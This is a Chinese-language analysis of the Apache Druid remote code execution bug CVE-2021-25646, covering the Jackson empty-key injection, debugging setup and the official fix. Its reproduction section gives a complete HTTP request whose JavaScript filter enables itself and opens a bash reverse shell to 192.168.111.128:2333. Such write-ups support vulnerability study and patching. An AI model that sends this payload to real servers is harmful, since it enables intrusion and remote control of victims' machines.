CVE-2021-25646 Apache Druid 远程代码执行漏洞分析
本文首发于安全客 https://www.anquanke.com/post/id/235831
# 前置知识
# Druid
Apache Druid 是用 Java 编写的面向列的开源分布式数据存储, 通常用于商业智能/ OLAP 应用程序 中,以分析大量的实时和历史数据。
Druid提供了JavaScript引擎用来扩展Druid的功能,值得注意的是,Druid的JavaScript不在沙盒中运行,而对机器有完全的访问权限,同时支持运行原生java语句,存在安全性问题,所以默认被关闭了。
见https://druid.apache.org/docs/latest/development/javascript.html
# Jackson
Jackson是一个非常流行且高效的基于Java的库,用于将Java对象序列化或映射到JSON和XML,也可以将JSON和XML转换为Java对象。在Druid也有对其的依赖。
在这个漏洞中利用了Jackson的一个(特性)BUG
这个Bug出在Jackson的两个注释上
- @JsonCreator (opens new window)在于对用JsonCreator注解修饰的方法来说,方法的所有参数都会解析成CreatorProperty类型,对于没有使用JsonProperty注解修饰的参数来说,会创建一个name为””的CreatorProperty,在用户传入键为””的json对象时就会被解析到对应的参数上。
- @JacksonInject (opens new window) 假设json字段有一些缺少的属性,抓换成实体类的时候没有的属性将为null,但是我们在某些需求当中需要将为null的属性都设置为默认值,这时候我们就可以用到这个注解了,它的功能就是在反序列化的时候将没有的字段设置为我们设置好的默认值。
具体可以编写下面的示例代码
package com.example.demo;
import com.fasterxml.jackson.annotation.JacksonInject;
import com.fasterxml.jackson.annotation.JsonCreator;
import com.fasterxml.jackson.annotation.JsonProperty;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
public class DemoApplication {
public static void main(String[] args) throws JsonProcessingException {
String json= "{\"name\":\"Jack\",\"\":\"Nofield\"}";
ObjectMapper mapper = new ObjectMapper();
Student result = mapper.readValue(json, Student.class);
System.out.print(mapper.writeValueAsString(result));
}
}
class Student {
@JsonCreator
public Student(
@JsonProperty("name")String name,
@JacksonInject String id
){
this.name=name;
this.id=id;
}
private String id;
private String name;
public String getName() {return name;}
public String getId() {return id;}
public void setId(String id) {this.id = id;}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
运行输出
{"name":"Jack","id":"Nofield"}
可以看到json
串中键为空的值被赋值到了id
属性上,这是因为JsonCreator
给id
设置的键为空,JsonInject
将json
串中空键对应的值Nofield
赋给了id
# 环境搭建
这里通过idea
进行远程调试
在官网下载编译好的版本19.0
https://mirrors.bfsu.edu.cn/apache/druid/0.19.0/apache-druid-0.19.0-bin.tar.gz
并在github上下载版本对应的源码
https://codeload.github.com/apache/druid/zip/druid-0.19.0
此处我们要调试的druid
的coordinator-overlord
模块,使用最小快速启动方式
/apache-druid-0.19.0/conf/druid/single-server/micro-quickstart/coordinator-overlord
在jvm.config
最后加上
-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005
在idea
中加上远程调试配置
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
运行服务端程序
./bin/start-micro-quickstart
就可以开始愉快地下断点调试了
# 漏洞分析
# 寻找漏洞点
在druid
官网关于javascript
的利用中我们可以找到filiter中的利用https://druid.apache.org/docs/latest/querying/filters.html#javascript-filter
可以找到网页上的相关功能点,抓包如下
POST /druid/indexer/v1/sampler?for=filter HTTP/1.1
Host: 192.168.111.3:8888
Content-Length: 11180
Accept: application/json, text/plain, */*
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.111.3:8888
Referer: http://192.168.111.3:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
{
"type": "index",
"spec": {
"ioConfig": {
"type": "index",
"inputSource": {
"type": "inline",
"data": "",
},
"inputFormat": {
"type": "json",
"keepNullColumns": true
}
},
"dataSchema": {
"dataSource": "sample",
"timestampSpec": {
"column": "timestamp",
"format": "iso"
},
"dimensionsSpec": {},
"transformSpec": {
"transforms": [],
"filter": {
"type": "selector",
"dimension": "1",
"value": "1"
}
}
},
"type": "index",
"tuningConfig": {
"type": "index"
}
},
"samplerConfig": {
"numRows": 500,
"timeoutMs": 15000
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
通过分析数据包结构,我们找到了transformSpec
定位到filiter
为DimFilter
类,
同文档中描述的那样filiter
支持javascript
于是我们定位到
根据前置知识,可以发现此处的config
可以通过空键值注入,继续跟这个config
发现这里设置了JavaScript
是否被开启,那么我们此处就可以直接绕过限制,开启javascript
了
# 漏洞复现
我们修改之前发过的post
构造一个filiter,就可以完成RCE了,
"filter":{"type": "javascript",
"function": "function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.111.128/2333 0>&1')}",
"dimension": "added",
"": {
"enabled": "true"
}
}
2
3
4
5
6
7
这里直接写java反弹shell语句
完整报文
POST /druid/indexer/v1/sampler?for=filter HTTP/1.1
Host: 192.168.111.3:8888
Content-Length: 992
Accept: application/json, text/plain, */*
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.111.3:8888
Referer: http://192.168.111.3:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["https://druid.apache.org/data/example-manifests.tsv"]},"inputFormat":{"type":"tsv","findColumnsFromHeader":true}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"timestamp","missingValue":"2010-01-01T00:00:00Z"},"dimensionsSpec":{},"transformSpec":{"transforms":[],"filter":{"type": "javascript",
"function": "function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.111.128/2333 0>&1')}",
"dimension": "added",
"": {
"enabled": "true"
}
}
}
},"type":"index","tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":50,"timeoutMs":10000}}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
具体json
转换过程可以com.fasterxml.jackson.databind.deser.BeanDeserializer
的_deserializeUsingPropertyBased
定位到
此时对propName:spec
进行反序列化,不断断点跟踪,可以看到反序列完空键值对应的键后,config.enabled
被赋值为true
绕过此处限制
成功运行poc
接收到shell
# 修复思路
官方的修复思路是在任何情况下都不允许空键值被传入赋值,重写了方法findPropertyIgnorals
/**
* This method is used to find what property to ignore in deserialization. Jackson calls this method
* per every class and every constructor parameter.
*
* This implementation returns a {@link JsonIgnoreProperties.Value#empty()} that allows empty names if
* the parameters has the {@link JsonProperty} annotation. Otherwise, it returns
* {@code JsonIgnoreProperties.Value.forIgnoredProperties("")} that does NOT allow empty names.
* This behavior is to work around a bug in Jackson deserializer (see the below comment for details) and
* can be removed in the future after the bug is fixed.
* For example, suppose a constructor like below:
*
* <pre>{@code
* @JsonCreator
* public ClassWithJacksonInject(
* @JsonProperty("val") String val,
* @JacksonInject InjectedParameter injected
* )
* }</pre>
*
* During deserializing a JSON string into this class, this method will be called at least twice,
* one for {@code val} and another for {@code injected}. It will return {@code Value.empty()} for {@code val},
* while {Value.forIgnoredProperties("")} for {@code injected} because the later does not have {@code JsonProperty}.
* As a result, {@code injected} will be ignored during deserialization since it has no name.
*/
@Override
public JsonIgnoreProperties.Value findPropertyIgnorals(Annotated ac)
{
// We should not allow empty names in any case. However, there is a known bug in Jackson deserializer
// with ignorals (_arrayDelegateDeserializer is not copied when creating a contextual deserializer.
// See https://github.com/FasterXML/jackson-databind/issues/3022 for more details), which makes array
// deserialization failed even when the array is a valid field. To work around this bug, we return
// an empty ignoral when the given Annotated is a parameter with JsonProperty that needs to be deserialized.
// This is valid because every property with JsonProperty annoation should have a non-empty name.
// We can simply remove the below check after the Jackson bug is fixed.
//
// This check should be fine for so-called delegate creators that have only one argument without
// JsonProperty annotation, because this method is not even called for the argument of
// delegate creators. I'm not 100% sure why it's not called, but guess it's because the argument
// is some Java type that Jackson already knows how to deserialize. Since there is only one argument,
// Jackson perhaps is able to just deserialize it without introspection.
if (ac instanceof AnnotatedParameter) {
final AnnotatedParameter ap = (AnnotatedParameter) ac;
if (ap.hasAnnotation(JsonProperty.class)) {
return JsonIgnoreProperties.Value.empty();
}
}
return JsonIgnoreProperties.Value.forIgnoredProperties("");
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
具体可见 https://github.com/apache/druid/compare/0.20.0…0.20.1 (opens new window)